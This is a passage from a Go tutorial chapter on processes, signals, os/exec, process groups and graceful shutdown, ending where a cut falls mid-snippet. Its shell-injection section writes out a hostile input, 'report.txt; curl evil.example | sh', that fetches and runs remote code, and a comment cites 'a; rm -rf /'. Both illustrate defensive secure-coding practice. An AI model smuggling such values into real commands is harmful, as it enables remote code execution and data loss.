Skip to content

OS Processes, Signals & Graceful Shutdown ​

"Shutdown gracefully shuts down the server without interrupting any active connections." — Go standard library, net/http, Server.Shutdown doc comment (Go 1.27 source)

Summary: A Go service is one operating-system process that other processes talk to with exit codes, pipes and signals; this chapter covers starting children safely with os/exec, receiving signals with os/signal, and the ordered shutdown that turns SIGTERM into finished requests instead of dropped ones. Focus: exec.Command and friends, exit codes, pipes, timeouts and process groups; signal.Notify and signal.NotifyContext; http.Server.Shutdown, readiness gating and worker drains; Kubernetes and systemd kill timers; PID files and flock; GOMAXPROCS in containers; Rlimit; zombies, os.Exit, panic exit code 2; non-root and x/sys/unix. Learning goal: Write a main that starts, runs and stops cleanly under Ctrl-C, systemctl stop and kubectl delete pod, and run child programs without shell injection, hung Wait calls or orphaned grandchildren.

This page owns the process boundary of a Go program. It does not re-teach its neighbours: cancellation and deadlines inside the program are in context, how http.Server handles requests is in net/http, worker pools and errgroup as a concurrency tool are in Worker Pools, Pipelines & errgroup, panics and defer are in Errors, Panic, Recover & Defer, and flags and logging at startup are in CLI Flags, Subcommands, Environment Variables & Logging. The socket side (listeners, SO_REUSEPORT, file-descriptor limits as a kernel topic) is in Ports, Sockets & Connections, and the Kubernetes objects around a pod are in Containers & Kubernetes.

Facts below were checked against the Go 1.27 standard-library source on go.dev (pkg.go.dev returns 403 to scripted fetches), the Go 1.19, 1.20, 1.25 and 1.26 release notes, the Kubernetes and systemd documentation, and signal(7), flock(2), getrlimit(2). Snippets declare go 1.24; everything newer is labelled. They were compiled, vetted and tested with Go 1.27.4 on macOS; the Linux-only parts are marked.

Page map ​

If you are looking forGo to
The tables you can memorise in one minuteEverything in one minute
Why a service must care about its own deathWhy it exists
Where os/exec, signals and graceful shutdown come fromWhere it comes from
A before/after of a main functionGo
Running a program without a shellexec.Command
Output, CombinedOutput, Run, Start, WaitThe five ways to run
ExitError and ExitCodeExit codes
StdinPipe, StdoutPipe, deadlocksPipes
Env, Dir, exec.LookPathEnvironment, directory, lookup
Timeouts, Cancel, WaitDelayTimeouts
Setpgid, killing child treesProcess groups
Zombie processesZombies
SIGINT, SIGTERM, SIGHUP, SIGKILL, SIGQUITSignals
signal.Notify, signal.NotifyContextReceiving signals
What Ctrl-C doesCtrl-C
Stop accepting, drain, closeGraceful shutdown
http.Server.ShutdownShutdown
terminationGracePeriodSeconds, preStop, TimeoutStopSecOrchestrators
Ordered shutdown with errgroupOrdered shutdown
PID files, flock, single instancePID files and flock
Daemons, supervisord, systemdDaemonising
os.Getpid, runtime.NumCPU, GOMAXPROCS, cgroupsProcess info and CPU
Rlimit, file descriptor limitResource limits
os.Exit, panic, exit code 2Exiting
Non-root, os/userNon-root
syscall vs golang.org/x/sys/unix, Windowssyscall and x/sys
Reading stdin when pipedstdin
Error texts and exit codesMechanics
Fixes with codeSolving the classic problems
proc_open, pcntl_signal, FPM reloadFor PHP/Laravel developers
Monolith to distributed systemIn architecture
Reproduce it on your machineLab

Everything in one minute ​

What can happen to your process. Each row is unpacked in the concept catalogue.

EventWho sends itCan Go catch it?Default if you do nothingWhat you should do
SIGINT (Ctrl-C)Terminal, kill -INTYesExit, shell sees 130NotifyContext, start graceful shutdown
SIGTERMkill, systemd, Kubernetes, docker stopYesExit, shell sees 143Same as SIGINT; this is the production signal
SIGHUPTerminal closed, kill -HUPYesExitReload config, or ignore under a supervisor
SIGQUIT (Ctrl-\)Terminal, kill -QUITYesExit 2 with a goroutine dumpLeave default: it is your debugger
SIGKILLKernel OOM killer, kubelet after grace, kill -9NoDies at once, no deferDesign state to survive it
SIGSTOPkill -STOP, debuggersNoFrozenNothing
SIGPIPEWrite to a closed pipeYesExit if fd 1 or 2; EPIPE otherwiseHandle EPIPE as an error
PanicYour coderecover onlyExit 2 with a traceRecover at boundaries, let the rest crash

The calls you will actually write.

NeedCallOne-line rule
Run a program, want stdoutexec.CommandContext(ctx, name, args...).Output()Never build a shell string
Run, want both streams interleavedCombinedOutput()Fine for logs, not for parsing
Stream in or outStdinPipe, StdoutPipe, then Start, read, WaitWait last, writers in a goroutine
Time-limit a childCommandContext + Cancel + WaitDelaySet WaitDelay or Wait can hang
Kill a child and its childrenSetpgid: true then syscall.Kill(-pid, sig)Negative pid is the group
React to a stop requestsignal.NotifyContext(ctx, os.Interrupt, syscall.SIGTERM)One context for the whole program
Drain HTTPsrv.Shutdown(ctx) with a fresh timeout contextErrServerClosed is success
Run one copy onlysyscall.Flock(fd, LOCK_EX|LOCK_NB)The kernel releases it on crash
Fit the containerGo 1.25+ reads the cgroup CPU limitOlder Go: automaxprocs

The three timers that end a graceful shutdown.

PlatformSettingDefaultAfter it expires
KubernetesterminationGracePeriodSeconds30 sSIGKILL to the container
systemdTimeoutStopSec=DefaultTimeoutStopSec, 90 sSIGKILL (see KillMode=)
Dockerdocker stop -t10 s (Linux containers)SIGKILL
Your codeShutdown(ctx) timeoutYou chooseClose() cuts connections

Why it exists ​

A program that only ever runs in a terminal can die any way it likes. A service is different: it holds half-finished requests, open sockets, queued jobs, a lock in a database and a connection pool, and it is stopped on purpose several times a day (deploys, autoscaling, node drains). Stopping a service is the most common planned failure in production, and the operating system gives you exactly one polite mechanism for it: a signal followed by a timer.

The trade-off is always the same: how long you are willing to wait for in-flight work against how fast the orchestrator needs the slot back.

Stop immediatelyStop gracefully
Fast deploys, simple codeSlower deploys, more code
Clients see resets and 502sClients see finished responses
Half-written files, unacked messagesFlushed logs, committed or released work
Needs idempotent clientsStill needs idempotent clients (SIGKILL exists)
Right for stateless batch retriesRight for anything holding user requests

An everyday picture. A restaurant closing for the night. First the "open" sign is turned off (readiness), then the door stops admitting new guests (close the listener), the kitchen finishes the orders already on tables (drain in-flight requests), the cooks wash up (workers drain), and only then the owner locks the cash register (close the database). If the landlord arrives with a crowbar at midnight (SIGKILL), whatever is unfinished is lost.

Three common misunderstandings, up front ​

  1. "defer runs when my program is killed." It does not run on SIGKILL, on os.Exit, or on a fatal runtime error; it runs on a normal return and on a panic that unwinds.
  2. "Ctrl-C stops my program, so SIGTERM in production is the same." The signal is different, the sender is different and the timer is different; the Go default happens to be the same only until a child process or a PID 1 shell gets involved.
  3. "exec.Command("sh", "-c", ...) is the easy way to run a command." It is the easy way to get shell injection; passing arguments as separate strings has no shell to inject into.

Where it comes from ​

Unix introduced signals in the 1970s as the kernel's way to interrupt a process; signal(7) on Linux lists the standard ones and states which cannot be caught. The Go runtime installs its own handlers for them, which is why os/signal exists as a package: it forwards what the runtime received to a channel, and its documentation lists the default behaviour per signal.

os/exec has been in Go since 1.0. Three later changes shape how you write it today: Go 1.19 made exec.Command refuse to run a program found only through a relative PATH entry (exec.ErrDot), Go 1.20 added Cmd.Cancel and Cmd.WaitDelay so a context deadline can do more than Kill the direct child, and Go 1.19 also made programs that import os raise the soft RLIMIT_NOFILE to the hard limit on Unix at startup. signal.NotifyContext arrived in Go 1.16. http.Server.Shutdown arrived in Go 1.8. Go 1.25 made the default GOMAXPROCS respect the cgroup CPU limit on Linux, which retired the main reason to import uber-go/automaxprocs.

On the orchestrator side, Kubernetes documents its pod termination flow (a grace period, a preStop hook, SIGTERM, then SIGKILL) and systemd documents TimeoutStopSec= and KillMode= in systemd.service(5) and systemd.kill(5). Those two documents are the contract your shutdown code is written against.

Go ​

Before ​

The typical first main: it blocks in ListenAndServe, and the only way it stops is by being killed.

go
func main() {
	db := openDB()
	http.HandleFunc("/", handler)
	log.Fatal(http.ListenAndServe(":8080", nil)) // never returns normally; defers never run
	db.Close()                                   // unreachable
}

After ​

The same service wired for a clean stop: the full program is below, and its pieces are unpacked in Graceful shutdown and Ordered shutdown.

go
// Command service wires signals to graceful.Service. Run it, then press
// Ctrl-C or `kill -TERM <pid>` and read the log order.
package main

import (
	"context"
	"log/slog"
	"net"
	"net/http"
	"os"
	"os/signal"
	"syscall"
	"time"

	"academy/os-processes-signals/graceful"
)

func main() {
	log := slog.New(slog.NewTextHandler(os.Stdout, &slog.HandlerOptions{
		ReplaceAttr: func(groups []string, a slog.Attr) slog.Attr {
			if a.Key == slog.TimeKey {
				return slog.Attr{} // keep the lab output stable
			}
			return a
		},
	}))

	ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM)
	defer stop()

	addr := os.Getenv("ADDR")
	if addr == "" {
		addr = "127.0.0.1:8080"
	}
	ln, err := net.Listen("tcp", addr)
	if err != nil {
		log.Error("listen", "err", err)
		os.Exit(1)
	}

	h := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		time.Sleep(2 * time.Second) // a slow request to drain
		_, _ = w.Write([]byte("finished\n"))
	})
	cfg := graceful.Config{DrainDelay: time.Second, ShutdownTimeout: 5 * time.Second, WorkerTimeout: 3 * time.Second}
	svc := graceful.New(cfg, log, h, func() error { return nil })

	log.Info("listening", "addr", ln.Addr().String(), "pid", os.Getpid())
	// Re-arm the default behaviour as soon as shutdown starts: a second
	// Ctrl-C then kills the process immediately instead of being swallowed.
	go func() { <-ctx.Done(); stop() }()

	if err := svc.Run(ctx, ln); err != nil {
		log.Error("shutdown", "err", err)
		os.Exit(1)
	}
	log.Info("bye")
}

The Go angle ​

Go gives you the pieces but not the policy: os/exec is a thin, explicit wrapper over fork/execve/wait4; os/signal forwards signals to a channel or a context; http.Server.Shutdown drains one server. Sequencing them, and sizing the timeouts against the orchestrator, is your code. Unlike PHP-FPM, where the FPM master owns worker lifecycle, a Go binary is its own process manager.

The concept catalogue ​

What a process is Must-know ​

In plain words: A process is a running program with its own memory, a numeric id (PID), a parent, open files and an exit status that the parent can read when it ends.

Common misunderstanding: "My Go program is the unit the operating system sees." The OS sees one process with many threads; goroutines are invisible to ps. And a process never really disappears until its parent reads its exit status.

Definition: os.Getpid() returns the PID, os.Getppid() the parent's, os.Executable() the path of the running binary. A child created by exec inherits open file descriptors that are not close-on-exec (Go opens files close-on-exec), the environment unless you override it, and the current directory unless Cmd.Dir is set.

parent (pid 100)                       child (pid 101)
1  cmd.Start()  ── fork+execve ──────▶ starts, inherits env, cwd, fds 0,1,2
2  ... runs ...                        ... runs ...
3                                      exits with status 3
4                                      (zombie: only the exit status remains)
5  cmd.Wait()   ── wait4 ────────────▶ status read, pid released

Real scenario: a CI runner shelling out to git, a thumbnail service calling ffmpeg, a backup tool piping pg_dump into gzip, a deploy agent running systemctl.

PlatformProcess creationChild treeSignals
Linuxfork+execve (clone), Go uses forkExecProcess groups, sessions, cgroupsAll of signal(7)
macOSfork+execveProcess groups, sessionsSame set minus Linux-only
WindowsCreateProcessJob objects (not exposed by os/exec)Only os.Interrupt via Ctrl-C events
FreeBSDfork+execveProcess groupsBSD set

Fix / how to use it: print identity once at startup, because every log line from a container looks the same without it.

go
//go:build linux || darwin

// Package procinfo reports process identity, CPU settings and file
// descriptor limits.
package procinfo

import (
	"fmt"
	"os"
	"os/user"
	"runtime"
	"syscall"
)

// Info is a snapshot suitable for a startup log line.
type Info struct {
	PID        int
	PPID       int
	Executable string
	UID, GID   int
	User       string
	NumCPU     int
	GOMAXPROCS int
	NoFileSoft uint64
	NoFileHard uint64
}

// Snapshot collects the facts. runtime.GOMAXPROCS(0) only reads the value.
func Snapshot() (Info, error) {
	exe, err := os.Executable()
	if err != nil {
		return Info{}, err
	}
	var rl syscall.Rlimit
	if err := syscall.Getrlimit(syscall.RLIMIT_NOFILE, &rl); err != nil {
		return Info{}, err
	}
	name := "?"
	if u, err := user.Current(); err == nil {
		name = u.Username
	}
	return Info{
		PID: os.Getpid(), PPID: os.Getppid(), Executable: exe,
		UID: os.Getuid(), GID: os.Getgid(), User: name,
		NumCPU: runtime.NumCPU(), GOMAXPROCS: runtime.GOMAXPROCS(0),
		NoFileSoft: uint64(rl.Cur), NoFileHard: uint64(rl.Max),
	}, nil
}

// RefuseRoot returns an error when the process runs as uid 0.
func RefuseRoot() error {
	if os.Geteuid() == 0 {
		return fmt.Errorf("refusing to run as root (uid 0); use a dedicated unprivileged user")
	}
	return nil
}

// RaiseNoFile lifts the soft descriptor limit toward the hard limit, capped at
// ceiling. Go 1.19+ already does this at startup for the os package; the
// function is for programs that want an explicit, logged value.
func RaiseNoFile(ceiling uint64) (uint64, error) {
	var rl syscall.Rlimit
	if err := syscall.Getrlimit(syscall.RLIMIT_NOFILE, &rl); err != nil {
		return 0, err
	}
	want := uint64(rl.Max)
	if want > ceiling {
		want = ceiling
	}
	if uint64(rl.Cur) >= want {
		return uint64(rl.Cur), nil
	}
	rl.Cur = want
	if err := syscall.Setrlimit(syscall.RLIMIT_NOFILE, &rl); err != nil {
		return 0, err
	}
	return want, nil
}

exec.Command: no shell, no injection Must-know ​

In plain words: exec.Command("ls", "-l", dir) starts ls directly and hands it each argument as a separate string. There is no shell reading the line, so characters like ;, |, $() and * mean nothing.

Common misunderstanding: "Go's Command runs a command line like a terminal does." It does not: exec.Command("ls -l") looks for a program literally named ls -l and fails with exec: "ls -l": executable file not found in $PATH. Pipes, globs and redirects are shell features, so they do not exist unless you ask for a shell.

Definition: exec.Command(name, arg...) returns a *exec.Cmd; name is resolved with exec.LookPath, arguments become argv[1:]. The shell is involved only if name is sh or bash.

user input: "report.txt; curl evil.example | sh"

exec.Command("cat", input)         argv = ["cat", "report.txt; curl evil.example | sh"]
  1  execve("cat", argv)           -> cat: report.txt; curl evil.example | sh: No such file or directory
  2  nothing else runs             -> safe

exec.Command("sh", "-c", "cat " + input)
  1  sh parses the string          -> two commands, then a pipe
  2  curl evil.example | sh        -> attacker code runs as your user

Real scenario: an image-resize endpoint takes a filename from a query string; a webhook handler passes a branch name to git; a report job passes a customer id to psql.

PatternInjection riskWhy
exec.Command("git", "checkout", branch)LowNo shell; still, a value starting with - is read as a flag
exec.Command("git", "checkout", "--", branch)Lowest-- ends option parsing for most tools
exec.Command("sh", "-c", "git checkout "+branch)HighThe shell re-parses the string
exec.Command("sh", "-c", "git checkout \"$1\"", "sh", branch)LowThe value travels as $1, not as shell text
exec.Command(userChosenProgram, ...)HighThe user picks what runs; use an allow-list

Fix / how to use it: pass arguments separately, put -- before values that may start with -, validate against an allow-list, and use the wrapper below, which also applies a timeout and classifies the result. The test file includes a test where the hostile string stays one argument and a test where the shell version really runs the payload.

go
// Package execrun runs external programs the safe way: no shell, a context
// deadline, and a classified result.
package execrun

import (
	"bytes"
	"context"
	"errors"
	"fmt"
	"os/exec"
	"time"
)

// Result describes how a child process ended.
type Result struct {
	Stdout   string
	Stderr   string
	ExitCode int  // -1 when the process was killed by a signal or never started
	TimedOut bool // the context deadline fired before the process exited
}

// ErrNotFound means the program is not on PATH (or not executable).
var ErrNotFound = errors.New("program not found")

// Run executes name with args. The arguments go straight to execve(2): there
// is no shell, so a value such as "a; rm -rf /" is one harmless argument.
func Run(ctx context.Context, timeout time.Duration, name string, args ...string) (Result, error) {
	ctx, cancel := context.WithTimeout(ctx, timeout)
	defer cancel()

	cmd := exec.CommandContext(ctx, name, args...)
	var stdout, stderr bytes.Buffer
	cmd.Stdout = &stdout
	cmd.Stderr = &stderr
	// WaitDelay bounds how long Wait lingers on I/O after the process is
	// killed, e.g. when a grandchild still holds the pipe open.
	cmd.WaitDelay = 2 * time.Second

	err := cmd.Run()
	res := Result{Stdout: stdout.String(), Stderr: stderr.String(), ExitCode: -1}

	var exitErr *exec.ExitError
	switch {
	case err == nil:
		res.ExitCode = 0
		return res, nil
	case errors.Is(err, exec.ErrNotFound):
		return res, fmt.Errorf("%w: %s", ErrNotFound, name)
	case errors.Is(ctx.Err(), context.DeadlineExceeded):
		res.TimedOut = true
		return res, fmt.Errorf("%s: %w", name, context.DeadlineExceeded)
	case errors.As(err, &exitErr):
		// A non-zero exit is a normal outcome of many programs (grep: 1 = no match).
		res.ExitCode = exitErr.ExitCode() // -1 if a signal killed it
		return res, nil
	default:
		return res, fmt.Errorf("run %s: %w", name, err)
	}
}

// Resolve returns the absolute path Command would execute. Since Go 1.19 a
// result found only through a relative PATH entry is rejected with exec.ErrDot.
func Resolve(name string) (string, error) {
	p, err := exec.LookPath(name)
	if err != nil {
		return "", fmt.Errorf("%w: %s", ErrNotFound, name)
	}
	return p, nil
}

The five ways to run Must-know ​

In plain words: Output and CombinedOutput run and collect; Run runs and waits; Start returns at once and Wait collects later.

Common misunderstanding: "Start is enough." Without Wait, the child's exit status is never read, the process stays a zombie, and the pipes and goroutines that Cmd created are never released.

Definition:

MethodStartsWaitsCapturesTypical use
Output()yesyesstdout (stderr into ExitError.Stderr if Stderr is nil)git rev-parse HEAD
CombinedOutput()yesyesstdout and stderr in one bufferHuman-readable logs
Run()yesyesnothing unless you set Stdout/Stderrmkfs, cp, side effects
Start()yesnonothingLong-running children, pipes
Wait()noyescloses the pipes, reapsThe second half of Start
Run  = Start then Wait
1  cmd.Start()      returns once the child exists (errors: not found, permission, fork failure)
2  ... parent does other work, or reads a pipe ...
3  cmd.Wait()       blocks until exit AND until the copying goroutines finish
4  cmd.ProcessState exit status, user/system CPU time

Real scenario: Output for a version probe at startup; Start+Wait for a long ffmpeg encode with progress on a pipe; Run for rsync where only success matters.

What goes wrong:

MistakeSymptomFix
Start without Waitps shows Z (defunct), goroutine leakAlways pair; use defer or a goroutine
Reusing a Cmdexec: already startedBuild a new Cmd per run
Wait before reading StdoutPipe finishesTruncated output, file already closedRead to EOF first, then Wait
Both Output() and setting Stdoutexec: Stdout already setChoose one
Output of unbounded sizeMemory blow-upStream to a file or limit with io.LimitReader

Exit codes and ExitError Must-know ​

In plain words: A non-zero exit is not a Go error in the sense of "something broke"; for many tools it is an answer (grep returns 1 for "no match"). Go reports it as an *exec.ExitError so you can tell "the program ran and said no" from "the program never ran".

Common misunderstanding: "err != nil means the command failed." It means "not exit status 0, or never started". Branch on the kind of error.

Definition: ExitError.ExitCode() returns the status, and -1 if the process has not exited or was terminated by a signal. ExitError.Stderr holds the tail of stderr when Output() captured it. Errors that are not ExitError mean the process did not run to a status: exec.ErrNotFound (also *fs.PathError for a bad path), a permission error, or a context error.

exit status 0..255         ExitCode() = that value, err = *exec.ExitError for non-zero
killed by signal 9         ExitCode() = -1, ProcessState.Sys().(syscall.WaitStatus).Signal() = SIGKILL
shell reports 128+9 = 137  (that is the shell's view, not the kernel's)
Exit statusConventional meaning
0Success
1General error; grep: no match
2Misuse of shell builtin; Go: panic or fatal runtime error
126 / 127Found but not executable / not found (shells)
128+nKilled by signal n (shells): 130 SIGINT, 137 SIGKILL, 143 SIGTERM

Fix / how to use it: the Run function in the snippet above maps these cases: ErrNotFound, timed out, non-zero exit (a normal Result), and killed by a signal (ExitCode -1).

Pipes: stdin and stdout Important ​

In plain words: A pipe is a bounded buffer between two processes; when it is full the writer blocks, when it is empty the reader blocks.

Common misunderstanding: "I can write all my input first, then read all the output." With a large input, the child fills its stdout pipe, blocks, stops reading its stdin, and your write blocks forever: a deadlock between two processes.

Definition: cmd.StdinPipe() and cmd.StdoutPipe() must be called before Start. Closing the stdin pipe signals EOF to the child. Wait closes the pipes, so it must be called after all reads are done.

parent                                  child (cat)
1  Start()
2  goroutine: write line 1..N  ───────▶ reads, writes to stdout pipe
3  main: scan stdout            ◀─────── stdout pipe (64 KiB on Linux)
4  goroutine: Close() stdin     ───────▶ sees EOF, exits
5  scanner reaches EOF
6  Wait()                       reaps child

Real scenario: feeding rows to psql -c "COPY ... FROM STDIN", compressing with gzip -c, calling jq on a payload, transcoding with ffmpeg -i pipe:0.

go
// Package pipes streams data through a child process using StdinPipe and
// StdoutPipe, then reaps it with Wait.
package pipes

import (
	"bufio"
	"context"
	"fmt"
	"io"
	"os/exec"
	"strings"
)

// Filter feeds lines to `tr` and returns what it prints. It shows the order
// that avoids deadlock: Start, write in a goroutine, read to EOF, then Wait.
func Filter(ctx context.Context, name string, args []string, lines []string) ([]string, error) {
	cmd := exec.CommandContext(ctx, name, args...)
	stdin, err := cmd.StdinPipe()
	if err != nil {
		return nil, err
	}
	stdout, err := cmd.StdoutPipe()
	if err != nil {
		return nil, err
	}
	if err := cmd.Start(); err != nil {
		return nil, fmt.Errorf("start %s: %w", name, err)
	}

	// Writer runs concurrently: if we wrote everything before reading, a big
	// input could fill the child's stdout pipe while it blocks on our stdin.
	writeErr := make(chan error, 1)
	go func() {
		_, err := io.WriteString(stdin, strings.Join(lines, "\n")+"\n")
		if cerr := stdin.Close(); err == nil { // Close sends EOF to the child
			err = cerr
		}
		writeErr <- err
	}()

	var out []string
	sc := bufio.NewScanner(stdout)
	for sc.Scan() {
		out = append(out, sc.Text())
	}
	scanErr := sc.Err()

	// Wait must come AFTER all reads from StdoutPipe finish: it closes the pipe.
	waitErr := cmd.Wait()
	if err := <-writeErr; err != nil {
		return out, fmt.Errorf("write stdin: %w", err)
	}
	if scanErr != nil {
		return out, scanErr
	}
	return out, waitErr
}

The test sends 50 000 lines of 100 bytes through cat, which is far beyond any pipe buffer, and it passes only because the writer runs concurrently.

Environment, directory and lookup Important ​

In plain words: A child sees the environment you give it, runs in the directory you name, and is found on the PATH you have.

Common misunderstanding: "Setting cmd.Env adds a variable." If Env is non-nil it replaces the whole environment; to add, start from os.Environ() (or cmd.Environ(), Go 1.19).

Definition: cmd.Env = append(os.Environ(), "KEY=value"); cmd.Dir is the working directory; exec.LookPath("ffmpeg") returns the absolute path or an error satisfying errors.Is(err, exec.ErrNotFound). Since Go 1.19 a result found only via a relative PATH entry (such as .) returns an error satisfying errors.Is(err, exec.ErrDot).

SettingValueEffect
cmd.EnvnilInherits the parent's environment
cmd.Env[]string{"A=1"}Child sees only A (no PATH, no HOME)
cmd.EnvduplicatesThe last value of a key wins
cmd.Dir""Parent's current directory
cmd.Dirpathchdir in the child before execve
cmd.Errset by CommandHolds the LookPath error; Start returns it

Fix / how to use it: resolve once at startup with LookPath so a missing ffmpeg fails the deploy, not the first request. Pass secrets through an inherited file descriptor or a mounted file, not through argv, because arguments are visible to every user in ps and in /proc/<pid>/cmdline.

Timeouts: CommandContext, Cancel and WaitDelay Must-know ​

In plain words: CommandContext kills the child when the context ends; WaitDelay is the second timer that stops Wait from hanging when the kill does not close the pipes.

Common misunderstanding: "The context deadline always returns on time." The context kills the direct child, but if a grandchild inherited the stdout pipe, Wait blocks until that grandchild closes it. Without WaitDelay that can be forever.

Definition: when the context is done, Cmd.Cancel is called (default: Process.Kill()); if WaitDelay is non-zero and the process or its I/O is still not finished after that long, Wait closes the pipes and returns exec.ErrWaitDelay. Setting Cancel to send SIGTERM first gives the child a chance to clean up (Go 1.20).

t=0.0  ctx deadline fires                    Cancel() runs (SIGTERM to the group)
t=0.0  Wait() still blocked: grandchild holds the pipe
t=2.0  WaitDelay expires                     pipes closed, Wait returns (err = ErrWaitDelay or the exit error)
t=2.0  escalation: syscall.Kill(-pgid, SIGKILL)

Real scenario: a PDF converter that spawns helpers, a CI step that runs make, an image tool that hangs on a corrupt file.

The proctree snippet in the next block combines Cancel (group SIGTERM), WaitDelay and a KillGroup escalation.

Process groups and killing child processes Important ​

In plain words: A process group is a bag of related processes that can be signalled together. If you start your child in its own group, one kill reaches the child and everything it spawned.

Common misunderstanding: "Killing the child kills its children." It does not: sh -c 'sleep 60 &' leaves sleep running, re-parented to PID 1, after the shell dies.

Definition: to kill child processes together with their descendants, cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true} makes the child the leader of a new group whose id equals its PID; syscall.Kill(-pid, sig) signals the whole group (negative pid, see kill(2)). Setsid starts a new session, Pdeathsig (Linux only) asks the kernel to signal the child when the parent dies.

FieldPlatformEffect
Setpgid: trueUnixNew process group, Pgid 0 means "same as child pid"
Setsid: trueUnixNew session, no controlling terminal
Pdeathsig: SIGKILLLinuxChild dies if the parent thread dies
ForegroundUnixChild takes the terminal foreground (interactive programs)
CreationFlagsWindowsCREATE_NEW_PROCESS_GROUP and friends
Without Setpgid: shares the parent groupGo parent pid 100sh -c pid 101sleep 60 pid 102cmd.Process.Kill() hits 101 only.102 lives on, re-parented to init.With Setpgid: child leads group 101Go parent pid 100process group 101 (pgid = 101)sh -c pid 101sleep 60 pid 102syscall.Kill(-101, SIGTERM) reachesevery member; Wait() reaps pid 101.
go
//go:build unix

// Package proctree starts a command in its own process group so the whole
// tree can be signalled, not just the direct child.
package proctree

import (
	"context"
	"os/exec"
	"syscall"
	"time"
)

// Command returns a Cmd that
//   - runs in a new process group (Setpgid) whose id equals the child's pid,
//   - on context cancel sends SIGTERM to the whole group (Cmd.Cancel),
//   - and if the tree is still holding I/O open after grace, Wait gives up
//     (WaitDelay) and the group receives SIGKILL via KillGroup.
func Command(ctx context.Context, grace time.Duration, name string, args ...string) *exec.Cmd {
	cmd := exec.CommandContext(ctx, name, args...)
	cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true}
	cmd.Cancel = func() error {
		// Negative pid addresses the process group, see kill(2).
		return syscall.Kill(-cmd.Process.Pid, syscall.SIGTERM)
	}
	cmd.WaitDelay = grace
	return cmd
}

// KillGroup sends SIGKILL to every process in the child's group. It is the
// escalation after SIGTERM was ignored. ESRCH (group already gone) is not an error.
func KillGroup(cmd *exec.Cmd) error {
	if cmd.Process == nil {
		return nil
	}
	err := syscall.Kill(-cmd.Process.Pid, syscall.SIGKILL)
	if err == syscall.ESRCH {
		return nil
	}
	return err
}

// Alive reports whether a process with this pid exists (signal 0 only checks).
func Alive(pid int) bool {
	err := syscall.Kill(pid, 0)
	return err == nil || err == syscall.EPERM
}

Careful: a child in its own process group no longer receives the terminal's Ctrl-C (see Ctrl-C); your parent must forward the stop request, which is what Cancel does.

Zombies and Wait Important ​

In plain words: When a child exits, the kernel keeps a tiny record of its exit status until the parent asks for it. That leftover record is a zombie (Z in ps). It uses a PID slot, not memory or CPU.

Common misunderstanding: "Zombies are killed with kill -9." They are already dead; only the parent calling wait (or the parent exiting, so PID 1 adopts and reaps them) removes them.

Definition: cmd.Wait() (or Process.Wait()) calls wait4. A service that starts children without Wait leaks one PID per child until the PID table fills (fork: retry: Resource temporarily unavailable). In containers, PID 1 must reap orphans: use docker run --init or tini, because a Go binary as PID 1 does not reap grandchildren it did not start.

1  cmd.Start()                    pid 4242 running
2  child exits                    ps -o stat= -p 4242  ->  Z   (zombie)
3  cmd.Wait()                     wait4 reads the status
4                                 ps -o stat= -p 4242  ->  (empty: pid free)

The exitcodes test (imported under Exiting) starts true, polls ps until it shows Z, calls Wait, and asserts the PID is gone.

Signals: what each one means Must-know ​

In plain words: A signal is a small, asynchronous message the kernel delivers to a process: "stop", "reload", "you wrote to a dead pipe". Most can be intercepted; two cannot.

Common misunderstanding: "kill kills." kill sends a signal; what happens is up to the receiver. kill -9 (SIGKILL) is the one the receiver cannot refuse.

Definition: signal(7) lists the standard signals. In Go, os.Interrupt is SIGINT on every platform; syscall.SIGTERM, SIGHUP, SIGQUIT, SIGKILL exist on Unix.

SignalNumber (Linux)Default for a Go programCatchableTypical sender
SIGHUP1ExitYesTerminal hang-up, config reload convention
SIGINT2ExitYesCtrl-C
SIGQUIT3Exit with stack dump (status 2)YesCtrl-\
SIGKILL9Immediate deathNoOOM killer, kill -9, grace period over
SIGPIPE13Exit if on fd 1 or 2, else EPIPEYesWrite to a closed pipe
SIGTERM15ExitYesOrchestrators, kill
SIGSTOP19StopNoDebuggers, kill -STOP
SIGCHLD17IgnoredYesA child changed state
SIGUSR1 / SIGUSR210 / 12Caught, no actionYesApplication-defined (log rotation, debug dump)
Kernelkill, Ctrl-C, k8sGo runtimesignal handlerNotify channon-blocking sendctx.Done()NotifyContextDefault when nobody called NotifySIGHUP, SIGINT, SIGTERM : exit (status 128+n by the shell)SIGQUIT, SIGABRT : exit 2 with a goroutine dumpSIGPIPE on stdout/stderr : exit; on other fds : write returns EPIPESIGKILL and SIGSTOP cannot be caught, blocked or ignored.No deferred function runs. Design for it: durable state, idempotent restarts.
PlatformWhat os/signal can do
Linux, macOS, BSDThe full set above
WindowsOnly os.Interrupt (Ctrl-C and Ctrl-Break); console close, logoff and shutdown events arrive as syscall.SIGTERM after Notify, but the process is still terminated unless it exits first
Plan 9Notes instead of signals

Real scenario: SIGHUP re-reads TLS certificates in nginx-style services; SIGUSR1 dumps goroutines in a debug build; SIGQUIT on a hung service prints every goroutine's stack before exiting with status 2.

Receiving signals: Notify and NotifyContext Must-know ​

In plain words: Tell the runtime "I want SIGTERM", and it will send it to a channel or cancel a context instead of killing the program.

Common misunderstanding: "An unbuffered channel is fine." The runtime never blocks to deliver a signal: if the channel has no room, the signal is dropped. Use a buffer of at least 1 for Notify, or just use NotifyContext.

Definition: signal.Notify(c, sigs...) registers a channel; signal.Stop(c) unregisters; signal.NotifyContext(parent, sigs...) returns a context cancelled on the first signal, plus a stop function. context.Cause(ctx) returns an error whose text is terminated signal received for SIGTERM. After stop(), the next signal gets the default behaviour (exit) again, which is the standard "press Ctrl-C twice to force" idiom.

1  main:  ctx, stop := signal.NotifyContext(ctx, os.Interrupt, SIGTERM)
2  kernel: SIGTERM -> Go runtime handler
3  os/signal: process(sig) -> non-blocking send to every interested channel
4  NotifyContext: cancels ctx with cause "terminated signal received"
5  main:  <-ctx.Done()  -> begin shutdown, call stop() to restore default for a 2nd signal
go
//go:build unix

// Package signals shows the two ways to receive OS signals in Go.
package signals

import (
	"context"
	"os"
	"os/signal"
	"syscall"
)

// ShutdownContext is the modern default: the returned context is cancelled by
// the first SIGINT or SIGTERM. Call stop as soon as you no longer want the
// diversion; after stop, a second Ctrl-C gets Go's default behaviour (exit).
func ShutdownContext(parent context.Context) (ctx context.Context, stop context.CancelFunc) {
	return signal.NotifyContext(parent, os.Interrupt, syscall.SIGTERM)
}

// Reloader invokes reload on every SIGHUP until ctx ends. It uses Notify with a
// BUFFERED channel: the runtime never blocks on a slow receiver, it drops the
// signal instead, so an unbuffered channel can lose one.
